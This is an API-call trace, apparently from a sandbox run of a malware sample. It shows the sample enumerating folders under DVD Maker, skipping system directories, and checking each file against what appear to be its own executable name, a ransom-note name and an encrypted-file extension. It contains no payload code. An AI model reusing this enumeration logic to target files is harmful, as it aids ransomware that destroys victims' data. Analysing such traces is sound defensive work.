	[0080.186] StrStrW (lpFirst="4to3Squareframe_VideoInset.png", lpSrch=".~~~~") returned 0x0
	[0080.186] lstrcmpW (lpString1="4to3Squareframe_VideoInset.png", lpString2="Read~ME.txt") returned -1
	[0080.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.186] GetCurrentThreadId () returned 0x618
	[0080.186] RtlWakeConditionVariable () returned 0x365f48
	[0080.186] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1
	[0080.186] lstrcmpiW (lpString1="BabyBoy", lpString2="Windows") returned -1
	[0080.186] lstrcmpW (lpString1="BabyBoy", lpString2=".") returned 1
	[0080.186] lstrcmpW (lpString1="BabyBoy", lpString2="..") returned 1
	[0080.186] lstrcmpW (lpString1="BabyBoy", lpString2="AppData") returned 1
	[0080.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy", lpSrch="AppData") returned 0x0
	[0080.186] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.186] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy", lpString2="C:\\Windows") returned -1
	[0080.186] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.186] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy", lpString2="C:\\System Volume Information") returned -1
	[0080.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x2856fe8
	[0080.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.376] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.380] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.380] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.380] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.390] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.390] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.390] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.390] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.390] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.390] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.390] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.390] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.390] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1
	[0080.390] lstrcmpiW (lpString1="babyblue.png", lpString2="Windows") returned -1
	[0080.390] lstrcmpW (lpString1="babyblue.png", lpString2="oiikyy.exe") returned -1
	[0080.390] StrStrW (lpFirst="babyblue.png", lpSrch=".~~~~") returned 0x0
	[0080.390] lstrcmpW (lpString1="babyblue.png", lpString2="Read~ME.txt") returned -1
	[0080.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0080.391] GetCurrentThreadId () returned 0x618
	[0080.391] RtlWakeConditionVariable () returned 0x365f48
	[0080.391] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1
	[0080.391] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="Windows") returned -1
	[0080.391] lstrcmpW (lpString1="BabyBoyMainBackground.wmv", lpString2="oiikyy.exe") returned -1
	[0080.391] StrStrW (lpFirst="BabyBoyMainBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0080.391] lstrcmpW (lpString1="BabyBoyMainBackground.wmv", lpString2="Read~ME.txt") returned -1
	[0080.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.391] GetCurrentThreadId () returned 0x618
	[0080.391] RtlWakeConditionVariable () returned 0x365f48
	[0080.391] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.391] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="Windows") returned -1
	[0080.391] lstrcmpW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.391] StrStrW (lpFirst="BabyBoyMainBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.391] lstrcmpW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.391] GetCurrentThreadId () returned 0x618
	[0080.391] RtlWakeConditionVariable () returned 0x365f48
	[0080.391] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0080.391] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="Windows") returned -1
	[0080.392] lstrcmpW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="oiikyy.exe") returned -1
	[0080.392] StrStrW (lpFirst="BabyBoyMainToNotesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0080.392] lstrcmpW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="Read~ME.txt") returned -1
	[0080.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.392] GetCurrentThreadId () returned 0x618
	[0080.392] RtlWakeConditionVariable () returned 0x365f48
	[0080.392] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.392] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0080.392] lstrcmpW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.392] StrStrW (lpFirst="BabyBoyMainToNotesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.392] lstrcmpW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.392] GetCurrentThreadId () returned 0x618
	[0080.392] RtlWakeConditionVariable () returned 0x365f48
	[0080.392] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0080.392] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="Windows") returned -1
	[0080.392] lstrcmpW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="oiikyy.exe") returned -1
	[0080.392] StrStrW (lpFirst="BabyBoyMainToScenesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0080.392] lstrcmpW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="Read~ME.txt") returned -1
	[0080.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.392] GetCurrentThreadId () returned 0x618
	[0080.392] RtlWakeConditionVariable () returned 0x365f48
	[0080.392] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.393] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0080.393] lstrcmpW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.393] StrStrW (lpFirst="BabyBoyMainToScenesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.393] lstrcmpW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.393] GetCurrentThreadId () returned 0x618
	[0080.393] RtlWakeConditionVariable () returned 0x365f48
	[0080.393] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0080.393] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="Windows") returned -1
	[0080.393] lstrcmpW (lpString1="BabyBoyNotesBackground.wmv", lpString2="oiikyy.exe") returned -1
	[0080.393] StrStrW (lpFirst="BabyBoyNotesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0080.393] lstrcmpW (lpString1="BabyBoyNotesBackground.wmv", lpString2="Read~ME.txt") returned -1
	[0080.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.393] GetCurrentThreadId () returned 0x618
	[0080.394] RtlWakeConditionVariable () returned 0x365f48
	[0080.394] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.394] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0080.394] lstrcmpW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.394] StrStrW (lpFirst="BabyBoyNotesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.394] lstrcmpW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.394] GetCurrentThreadId () returned 0x618
	[0080.394] RtlWakeConditionVariable () returned 0x365f48
	[0080.394] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0080.394] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="Windows") returned -1
	[0080.394] lstrcmpW (lpString1="BabyBoyScenesBackground.wmv", lpString2="oiikyy.exe") returned -1
	[0080.394] StrStrW (lpFirst="BabyBoyScenesBackground.wmv", lpSrch=".~~~~") returned 0x0
	[0080.394] lstrcmpW (lpString1="BabyBoyScenesBackground.wmv", lpString2="Read~ME.txt") returned -1
	[0080.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.394] GetCurrentThreadId () returned 0x618
	[0080.394] RtlWakeConditionVariable () returned 0x365f48
	[0080.394] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.394] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="Windows") returned -1
	[0080.394] lstrcmpW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.395] StrStrW (lpFirst="BabyBoyScenesBackground_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.395] lstrcmpW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.395] GetCurrentThreadId () returned 0x618
	[0080.395] RtlWakeConditionVariable () returned 0x365f48
	[0080.395] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1
	[0080.395] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="Windows") returned -1
	[0080.395] lstrcmpW (lpString1="LightBlueRectangle.PNG", lpString2="oiikyy.exe") returned -1
	[0080.395] StrStrW (lpFirst="LightBlueRectangle.PNG", lpSrch=".~~~~") returned 0x0
	[0080.395] lstrcmpW (lpString1="LightBlueRectangle.PNG", lpString2="Read~ME.txt") returned -1
	[0080.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.395] GetCurrentThreadId () returned 0x618
	[0080.395] RtlWakeConditionVariable () returned 0x365f48
	[0080.395] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0080.396] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="Windows") returned -1
	[0080.396] lstrcmpW (lpString1="MainMenuButtonIcon.png", lpString2="oiikyy.exe") returned -1
	[0080.396] StrStrW (lpFirst="MainMenuButtonIcon.png", lpSrch=".~~~~") returned 0x0
	[0080.396] lstrcmpW (lpString1="MainMenuButtonIcon.png", lpString2="Read~ME.txt") returned -1
	[0080.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.396] GetCurrentThreadId () returned 0x618
	[0080.396] RtlWakeConditionVariable () returned 0x365f48
	[0080.396] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1
	[0080.396] lstrcmpiW (lpString1="navSubpicture.png", lpString2="Windows") returned -1
	[0080.396] lstrcmpW (lpString1="navSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.396] StrStrW (lpFirst="navSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.396] lstrcmpW (lpString1="navSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.396] GetCurrentThreadId () returned 0x618
	[0080.396] RtlWakeConditionVariable () returned 0x365f48
	[0080.396] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1
	[0080.396] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="Windows") returned -1
	[0080.396] lstrcmpW (lpString1="nav_leftarrow.png", lpString2="oiikyy.exe") returned -1
	[0080.396] StrStrW (lpFirst="nav_leftarrow.png", lpSrch=".~~~~") returned 0x0
	[0080.397] lstrcmpW (lpString1="nav_leftarrow.png", lpString2="Read~ME.txt") returned -1
	[0080.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.397] GetCurrentThreadId () returned 0x618
	[0080.397] RtlWakeConditionVariable () returned 0x365f48
	[0080.397] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1
	[0080.397] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="Windows") returned -1
	[0080.397] lstrcmpW (lpString1="nav_rightarrow.png", lpString2="oiikyy.exe") returned -1
	[0080.397] StrStrW (lpFirst="nav_rightarrow.png", lpSrch=".~~~~") returned 0x0
	[0080.397] lstrcmpW (lpString1="nav_rightarrow.png", lpString2="Read~ME.txt") returned -1
	[0080.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.397] GetCurrentThreadId () returned 0x618
	[0080.397] RtlWakeConditionVariable () returned 0x365f48
	[0080.397] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1
	[0080.397] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="Windows") returned -1
	[0080.397] lstrcmpW (lpString1="nav_uparrow.png", lpString2="oiikyy.exe") returned -1
	[0080.397] StrStrW (lpFirst="nav_uparrow.png", lpSrch=".~~~~") returned 0x0
	[0080.397] lstrcmpW (lpString1="nav_uparrow.png", lpString2="Read~ME.txt") returned -1
	[0080.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0080.397] GetCurrentThreadId () returned 0x618
	[0080.397] RtlWakeConditionVariable () returned 0x365f48
	[0080.397] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0
	[0080.397] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0080.399] GetCurrentThreadId () returned 0x618
	[0080.399] RtlWakeConditionVariable () returned 0x365f48
	[0080.399] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1
	[0080.399] lstrcmpiW (lpString1="BabyGirl", lpString2="Windows") returned -1
	[0080.399] lstrcmpW (lpString1="BabyGirl", lpString2=".") returned 1
	[0080.399] lstrcmpW (lpString1="BabyGirl", lpString2="..") returned 1
	[0080.399] lstrcmpW (lpString1="BabyGirl", lpString2="AppData") returned 1
	[0080.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl", lpSrch="AppData") returned 0x0
	[0080.399] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.399] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl", lpString2="C:\\Windows") returned -1
	[0080.399] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.399] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl", lpString2="C:\\System Volume Information") returned -1
	[0080.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x283dfe0
	[0080.399] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.497] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
